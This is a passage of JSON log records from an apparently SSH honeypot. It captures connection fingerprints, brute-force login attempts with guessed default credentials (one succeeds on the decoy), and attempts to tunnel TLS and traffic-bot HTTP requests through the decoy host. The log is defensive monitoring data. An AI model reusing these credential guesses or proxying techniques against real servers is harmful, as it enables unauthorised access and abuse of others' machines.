=n\\xc7}\\x8c\\xc4/\\xbcD\\x96\\x12\\xe74IZ\\xa90)\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n::\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\x8a\\x8a\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:34:17.461330Z","src_ip":"113.164.152.20","session":"191ec1bd3ff6","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"113.164.152.20","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:34:17.730256Z","session":"191ec1bd3ff6","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:34:18.001858Z","src_ip":"113.164.152.20","session":"191ec1bd3ff6","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x8f\\xa6\\xb9\\x14\\xe3@_\\xd3\\x84\\xc6\\xafc\\xfaQ15\\xb7V\\tZ\\x92\\x0c\\x0f\\x08h\\xcf\\xfca\\xc4L\\x19\\xe8 `CI\\xf8\\xa0\\x1f6\\xb9\\xfc\\xca\\x9c\\x1c,\\xe9\\n\\x9b\\xddjE\\x92\\xd2\\x9c\\xd4J\\xcaU/\\xeef\\xa2z:\\x00\"\\xaa\\xaa\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\x1a\\x1a\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xea\\xea\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xea\\xea\\x00\\x01\\x00\\x00\\x1d\\x00 \\xfc\\xac\\xb3\"\\x93\\x87\\x17\\x86\\xe5\\x90kj\\xe4\\xbc\\x80O\\x10h\\xd6\\x1e\\xba\\xf6\\xbb^\\x08\\xdev\\xaf\\xcb8\\xee\\n\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xda\\xda\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xba\\xba\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x8f\\xa6\\xb9\\x14\\xe3@_\\xd3\\x84\\xc6\\xafc\\xfaQ15\\xb7V\\tZ\\x92\\x0c\\x0f\\x08h\\xcf\\xfca\\xc4L\\x19\\xe8 `CI\\xf8\\xa0\\x1f6\\xb9\\xfc\\xca\\x9c\\x1c,\\xe9\\n\\x9b\\xddjE\\x92\\xd2\\x9c\\xd4J\\xcaU/\\xeef\\xa2z:\\x00\"\\xaa\\xaa\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\x1a\\x1a\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xea\\xea\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xea\\xea\\x00\\x01\\x00\\x00\\x1d\\x00 \\xfc\\xac\\xb3\"\\x93\\x87\\x17\\x86\\xe5\\x90kj\\xe4\\xbc\\x80O\\x10h\\xd6\\x1e\\xba\\xf6\\xbb^\\x08\\xdev\\xaf\\xcb8\\xee\\n\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xda\\xda\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xba\\xba\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:34:18.005270Z","src_ip":"113.164.152.20","session":"191ec1bd3ff6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.4","message":"Connection lost after 3.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:34:18.411094Z","src_ip":"113.164.152.20","session":"191ec1bd3ff6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"33.5","message":"Connection lost after 33.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:34:22.638936Z","src_ip":"23.148.145.132","session":"5419f3c2e0ed","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.79.165.43","src_port":58448,"dst_ip":"159.203.135.109","dst_port":22,"session":"426460d93cce","protocol":"ssh","message":"New connection: 101.79.165.43:58448 (159.203.135.109:22) [session: 426460d93cce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:34:23.686268Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:34:23.691000Z","src_ip":"101.79.165.43","session":"426460d93cce","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.60.242.169","src_port":42716,"dst_ip":"159.203.135.109","dst_port":22,"session":"9bf6da32c968","protocol":"ssh","message":"New connection: 103.60.242.169:42716 (159.203.135.109:22) [session: 9bf6da32c968]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:34:23.780091Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:34:23.784630Z","src_ip":"103.60.242.169","session":"9bf6da32c968","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:34:23.908339Z","src_ip":"101.79.165.43","session":"426460d93cce","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:34:24.027861Z","src_ip":"103.60.242.169","session":"9bf6da32c968","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"develop","password":"develop@2025","message":"login attempt [develop/develop@2025] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:34:24.810658Z","src_ip":"101.79.165.43","session":"426460d93cce","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Hh@123456","message":"login attempt [root/Hh@123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:34:25.027380Z","src_ip":"103.60.242.169","session":"9bf6da32c968","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:34:26.030227Z","src_ip":"101.79.165.43","session":"426460d93cce","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:34:26.274415Z","src_ip":"103.60.242.169","session":"9bf6da32c968","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"123.27.168.40","src_port":63865,"dst_ip":"10.17.0.5","dst_port":22,"session":"ce941094d376","protocol":"ssh","message":"New connection: 123.27.168.40:63865 (10.17.0.5:22) [session: ce941094d376]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:34:27.683307Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:34:27.691569Z","src_ip":"123.27.168.40","session":"ce941094d376","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:34:27.952539Z","src_ip":"123.27.168.40","session":"ce941094d376","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:34:29.016950Z","src_ip":"123.27.168.40","session":"ce941094d376","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:34:29.415505Z","session":"ce941094d376","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:34:29.665689Z","src_ip":"123.27.168.40","session":"ce941094d376","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nOrigin: http://api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (iPad; CPU OS 12_4_7 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.4.7 Mobile/16G192 Safari/604.1\\r\\nConnection: keep-alive\\r\\nContent-Length: 1192\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\n\\r\\n_=enVZI0ZRezRtKDxYbWJTaA%3D%3DXIe3K5T9wn5s4smXpbYcmJZtZ5muNAc81w9EZa2MP%2Fg7oRieqV0qbAunCalZdM19lh%2Bbu2TAeUHkeDkgUfGAQ5SFczO73B5UR%2B4KfNK9x8R5SbbwEORzsI4sl9%2FmWxu%2F%2B3DKxOpqecG6O2lBcDNcjhv0bSqeaZWgpgfCmrInJmIo8TO8xZYZ%2Fz4X47hPb%2BEli8X63yfQB0Wj6gG95o5luBwcpghOs8ye3caTyypvG5SA3M%2F39dNmFHJ3u%2FqZWcDydUCiDL5b%2Fmz1QHFOgRSTtVGhBL1Y%2BWVHmZrCnWiD7rf2gVfpb%2FHc8xXZ7tx71ZRXL4CN5sKt7aOnGNPoiJlCBVRTPRnDvwfYoX43jEuUloIgpToysG0NpIbOso0BGI%2ByR3n0MgV8Ik7cE7JuoWLb3N%2FgEtAT78yb2dHzklLck2e%2Fbh38CcbteocP%2Fr5Im0DsM3T2G69DQ17NKStgSHSwJzXt54Zb5khwW46QvRi5nbdyr%2FLw7eviKpGKe0sV274tCgqewKLFWBzCfP17tEyV5KJPrV7XRwkItzQ8ZzDzOSUF969UwtE8EIMXrzRiQ%2Fk5Hm5N2a5qFC%2BZ%2BKWtJlhUZH%2Fcrxv3mcNWvy54EZ814W6N%2FOzqB55MYwN%2F9rO%2BgPbmdkF1FdwG%2FbxwnDLB%2FKzfrNBQuRLs4X8kLuwHAxZ%2BdM944hcMP5%2FBu0aiH5b%2B26nVy%2F8y2QRLs4I7I5V3XTcI%2FQxV6%2Bn4aXaNwk5vQCpxNdVPgVygXtxLJENQxNXNoGxkEqhlES2YnUV9pY%2Fp%2Fau9DKDI%2FSzxF7xj2KtJ0VuEy9RKJrq4c6In9MvjtHuwGdr9sq9o%2Bj2nK9AQTBY51YqCxTW29mK%2BEjOmYbDhlSrnOKPVN6psChMydkrTpUM2jMoOrHvSvbAuTzmC3TtYKlvEXZJNAnZLxdNsa%2BpYCvW%2BU%2Fnahv60MVWfobS0%2FMjFRD6a4afURQebxIwv7RwJ9qCiVtmf7HlPGuoj4rh%2BW4cQIsWFgG04WURriVp7Fg6gYxi8l3Ao4%2BD3Z5pMOVTjSQcLTDV7wLyvgTaEZ6O%2F%2B9xmEL4%3D'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nOrigin: http://api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (iPad; CPU OS 12_4_7 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.4.7 Mobile/16G192 Safari/604.1\\r\\nConnection: keep-alive\\r\\nContent-Length: 1192\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\n\\r\\n_=enVZI0ZRezRtKDxYbWJTaA%3D%3DXIe3K5T9wn5s4smXpbYcmJZtZ5muNAc81w9EZa2MP%2Fg7oRieqV0qbAunCalZdM19lh%2Bbu2TAeUHkeDkgUfGAQ5SFczO73B5UR%2B4KfNK9x8R5SbbwEORzsI4sl9%2FmWxu%2F%2B3DKxOpqecG6O2lBcDNcjhv0bSqeaZWgpgfCmrInJmIo8TO8xZYZ%2Fz4X47hPb%2BEli8X63yfQB0Wj6gG95o5luBwcpghOs8ye3caTyypvG5SA3M%2F39dNmFHJ3u%2FqZWcDydUCiDL5b%2Fmz1QHFOgRSTtVGhBL1Y%2BWVHmZrCnWiD7rf2gVfpb%2FHc8xXZ7tx71ZRXL4CN5sKt7aOnGNPoiJlCBVRTPRnDvwfYoX43jEuUloIgpToysG0NpIbOso0BGI%2ByR3n0MgV8Ik7cE7JuoWLb3N%2FgEtAT78yb2dHzklLck2e%2Fbh38CcbteocP%2Fr5Im0DsM3T2G69DQ17NKStgSHSwJzXt54Zb5khwW46QvRi5nbdyr%2FLw7eviKpGKe0sV274tCgqewKLFWBzCfP17tEyV5KJPrV7XRwkItzQ8ZzDzOSUF969UwtE8EIMXrzRiQ%2Fk5Hm5N2a5qFC%2BZ%2BKWtJlhUZH%2Fcrxv3mcNWvy54EZ814W6N%2FOzqB55MYwN%2F9rO%2BgPbmdkF1FdwG%2FbxwnDLB%2FKzfrNBQuRLs4X8kLuwHAxZ%2BdM944hcMP5%2FBu0aiH5b%2B26nVy%2F8y2QRLs4I7I5V3XTcI%2FQxV6%2Bn4aXaNwk5vQCpxNdVPgVygXtxLJENQxNXNoGxkEqhlES2YnUV9pY%2Fp%2Fau9DKDI%2FSzxF7xj2KtJ0VuEy9RKJrq4c6In9MvjtHuwGdr9sq9o%2Bj2nK9AQTBY51YqCxTW29mK%2BEjOmYbDhlSrnOKPVN6psChMydkrTpUM2jMoOrHvSvbAuTzmC3TtYKlvEXZJNAnZLxdNsa%2BpYCvW%2BU%2Fnahv60MVWfobS0%2FMjFRD6a4afURQebxIwv7RwJ9qCiVtmf7HlPGuoj4rh%2BW4cQIsWFgG04WURriVp7Fg6gYxi8l3Ao4%2BD3Z5pMOVTjSQcLTDV7wLyvgTaEZ6O%2F%2B9xmEL4%3D'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:34:29.668719Z","src_ip":"123.27.168.40","session":"ce941094d376","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:34:30.441918Z","session":"ce941094d376","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:34:30.691582Z","src_ip":"123.27.168.40","session":"ce941094d376","protocol":"ssh"}
